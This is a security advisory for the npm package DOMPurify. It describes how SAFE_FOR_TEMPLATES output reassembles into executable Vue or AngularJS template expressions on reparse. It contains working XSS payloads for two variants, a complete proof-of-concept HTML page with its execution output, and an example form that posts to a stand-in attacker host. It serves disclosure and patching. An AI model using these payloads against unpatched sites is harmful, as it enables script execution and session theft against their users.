DOMPurify: SAFE_FOR_TEMPLATES bypass: template expressions reassemble when sanitized output is reparsed (nested and orphaned end tags)
Package Affected versions Patched versions Description Summary With SAFE_FOR_TEMPLATES: true, DOMPurify 3.4.17 returns strings that contain no {{ or }}, but which turn into a live {{…}} expression as
Package
dompurify (npm)Affected versions
< 3.4.18Patched versions
3.4.18Description
Summary
With SAFE_FOR_TEMPLATES: true, DOMPurify 3.4.17 returns strings that contain no {{ or }}, but which turn into a live {{…}} expression as soon as the string is assigned to innerHTML. A template engine that then compiles that DOM (verified with Vue 3 in-DOM templates and AngularJS 1.8.3) evaluates the attacker's expression, giving arbitrary JavaScript execution.
The attacker controls only the markup passed to sanitize(). The only configuration required is SAFE_FOR_TEMPLATES: true, which is a protective option, and the application uses it for its documented purpose. There are two independent variants.
Both variants reproduce on Chromium 156, Firefox 157 and WebKit 27.2. The plain {{…}} case and the "expression split by a removed element" case are still correctly scrubbed, so this is a gap in the existing protection, not a missing feature.
Details
SAFE_FOR_TEMPLATES scrubbing happens in two places, and neither accounts for how the returned string is parsed a second time by the consumer.
-
Per text node, during the walk (
src/purify.ts, around line 2396):if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) { const content = _stripTemplateExpressions(currentNode.textContent); ... -
On the final serialized string (
src/purify.ts, around line 3273):if (SAFE_FOR_TEMPLATES) { serializedHTML = _stripTemplateExpressions(serializedHTML); }
Both use the expressions in src/regexp.ts, e.g. MUSTACHE_EXPR = /{{[\w\W]*|^[\w\W]*}}/g.
Variant 1: nested <form> collapses on reparse
Input:
<form><div>{</form><form>{constructor.constructor('alert(1)')()}</form>}
On the first parse, </form> clears the parser's form element pointer while the <div> is still open, so the second <form> is accepted as a child of the <div>. The DOM has three separate text nodes: {, {…} and }. None of them contains {{ or }}, so the per-node scrub does nothing.
Serialized output:
<form><div>{<form>{constructor.constructor('alert(1)')()}</form>}</div></form>
The string has no {{ or }} either (a <form> tag sits between the braces), so the final string scrub also passes.
When the consumer assigns this to innerHTML, the HTML parser ignores the inner <form> start tag because a form is already open. The three text fragments become adjacent and merge into one text node:
{{constructor.constructor('alert(1)')()}}
Variant 2: the final string scrub cuts through markup
Input:
<b><i>}<x></x>}{</i>{constructor.constructor('alert(1)')()}</b>}
After the disallowed <x> is removed, the serialized string is <b><i>}}{</i>{…}</b>}. The ^[\w\W]*}} branch of MUSTACHE_EXPR then deletes everything from the start of the string through }}, which removes the <b><i> start tags but leaves their end tags.
Output:
{</i>{constructor.constructor('alert(1)')()}</b>}
On reparse the orphaned </i> and </b> are dropped, and the text merges into {{constructor.constructor('alert(1)')()}}.
The same regex-over-markup behaviour can also cut closing tags from the end of the output (the {{[\w\W]* branch). For example <form action="https://evil.example/collect"><input name=q>{<x></x>{</form><p>after</p> returns <form action="https://evil.example/collect"><input name="q"> with no </form>.
Root cause and suggested direction
The scrub treats "no expression in any text node" and "no expression in the serialized string" as sufficient, but the guarantee users need is "no expression in any text node after the output is parsed again". Possible fixes:
- After serialization, reparse the output and re-run the text-node scrub until the result is stable, or scrub on a reparsed copy before returning.
- Do not run the template regexes over serialized markup; apply them only to text nodes and attribute values, so tags are never sliced.
- Treat lone
{/}at text-node boundaries as unsafe when the adjacent sibling's text starts or ends with a brace.
Proof of concept
Tested with DOMPurify 3.4.17 (npm latest), Vue 3.5.45 and AngularJS 1.8.3 on Chromium 156, Firefox 157 and WebKit 27.2.
Configuration: { SAFE_FOR_TEMPLATES: true }, nothing else.
Save as poc.html and open it in a browser. Use poc.html?v=2 for the second variant.
<!doctype html> <meta charset="utf-8"> <script src="https://unpkg.com/[email protected]/dist/purify.js"></script> <script src="https://unpkg.com/[email protected]/dist/vue.global.prod.js"></script> <script src="https://unpkg.com/[email protected]/angular.min.js"></script> <div id="vue-host"><div class="comment"></div></div> <div id="ng-host"><div class="comment"></div></div> <pre id="log"></pre> <script> const log = (m) => (document.getElementById('log').textContent += m + '\n'); window.xss = (tag) => log('EXECUTED: ' + tag); const cfg = { SAFE_FOR_TEMPLATES: true }; // 1 = nested form, 2 = orphaned end tags const variant = new URLSearchParams(location.search).get('v') === '2' ? 2 : 1; const wrap = (expr) => variant === 1 ? `<form><div>{</form><form>{${expr}}</form>}` : `<b><i>}<x></x>}{</i>{${expr}}</b>}`; // Vue 3 (in-DOM template) const cleanVue = DOMPurify.sanitize(wrap(`$emit.constructor('xss("vue")')()`), cfg); log('vue clean: ' + cleanVue); document.querySelector('#vue-host .comment').innerHTML = cleanVue; Vue.createApp({}).mount('#vue-host'); // AngularJS 1.8.3 const cleanNg = DOMPurify.sanitize(wrap(`constructor.constructor('xss("ng")')()`), cfg); log('ng clean : ' + cleanNg); document.querySelector('#ng-host .comment').innerHTML = cleanNg; angular.bootstrap(document.getElementById('ng-host'), []); </script>
Expected: the sanitized strings contain no live expression and nothing executes.
Actual (variant 1):
vue clean: <form><div>{<form>{$emit.constructor('xss("vue")')()}</form>}</div></form>
EXECUTED: vue
ng clean : <form><div>{<form>{constructor.constructor('xss("ng")')()}</form>}</div></form>
EXECUTED: ng
Actual (variant 2):
vue clean: {</i>{$emit.constructor('xss("vue")')()}</b>}
EXECUTED: vue
ng clean : {</i>{constructor.constructor('xss("ng")')()}</b>}
EXECUTED: ng
Controls that are still scrubbed correctly with the same config:
<p>{{constructor.constructor('alert(1)')()}}</p>returns<p> </p><div>{<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>}</div>returns</div>
Server-side: with DOMPurify 3.4.17 on jsdom 27.0.1, both payloads return the same strings, and parsing those strings yields a single text node containing {{constructor.constructor('alert(1)')()}}.
Impact
Cross-site scripting through client-side template injection.
Affected: applications that sanitize untrusted HTML with SAFE_FOR_TEMPLATES: true, place the result in the DOM through an HTML sink such as innerHTML, and then have a template engine compile that DOM. Verified with Vue 3 in-DOM templates and AngularJS 1.x; other mustache-style engines that compile existing DOM are likely affected in the same way.
An attacker who can submit markup (a comment, a profile field, a rich-text message) gets arbitrary JavaScript execution in the origin of the page for every user who views it, with the usual consequences: session theft, actions on behalf of the victim, and content manipulation.
References
- GHSA-qm7q-q8h9-jg8q
- https://nvd.nist.gov/vuln/detail/CVE-2026-140391
- https://www.vulncheck.com/advisories/dompurify-before-3.4.18-safe-for-templates-bypass-leading-to-xss
Severity
Moderate CVSS overall score This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS). / 10CVSS v4 base metrics
Exploitability Metrics Attack Vector Network Attack Complexity Low Attack Requirements None Privileges Required None User interaction Active Vulnerable System Impact Metrics Confidentiality None Integrity None Availability None Subsequent System Impact Metrics Confidentiality Low Integrity Low Availability None CVSS v4 base metrics Exploitability Metrics Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity. Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system. Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system. Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack. User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner. Vulnerable System Impact Metrics Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones. Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging). Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system. Subsequent System Impact Metrics Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones. Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging). Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:NEPSS score
Exploit Prediction Scoring System (EPSS) This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST. (45th percentile)Weaknesses
Weakness CWE-79Improper Neutralization of Input During Web Page Generation
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE. Weakness CWE-1336Improper Neutralization of Special Elements Used in a Template Engine
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine. Learn more on MITRE.CVE ID
CVE-2026-140391GHSA ID
GHSA-qm7q-q8h9-jg8qSource code
cure53/DOMPurifyCredits
-
e1abrador Reporter
Uh oh!
There was an error while loading. Please reload this page.
See something to contribute? Suggest improvements for this vulnerability.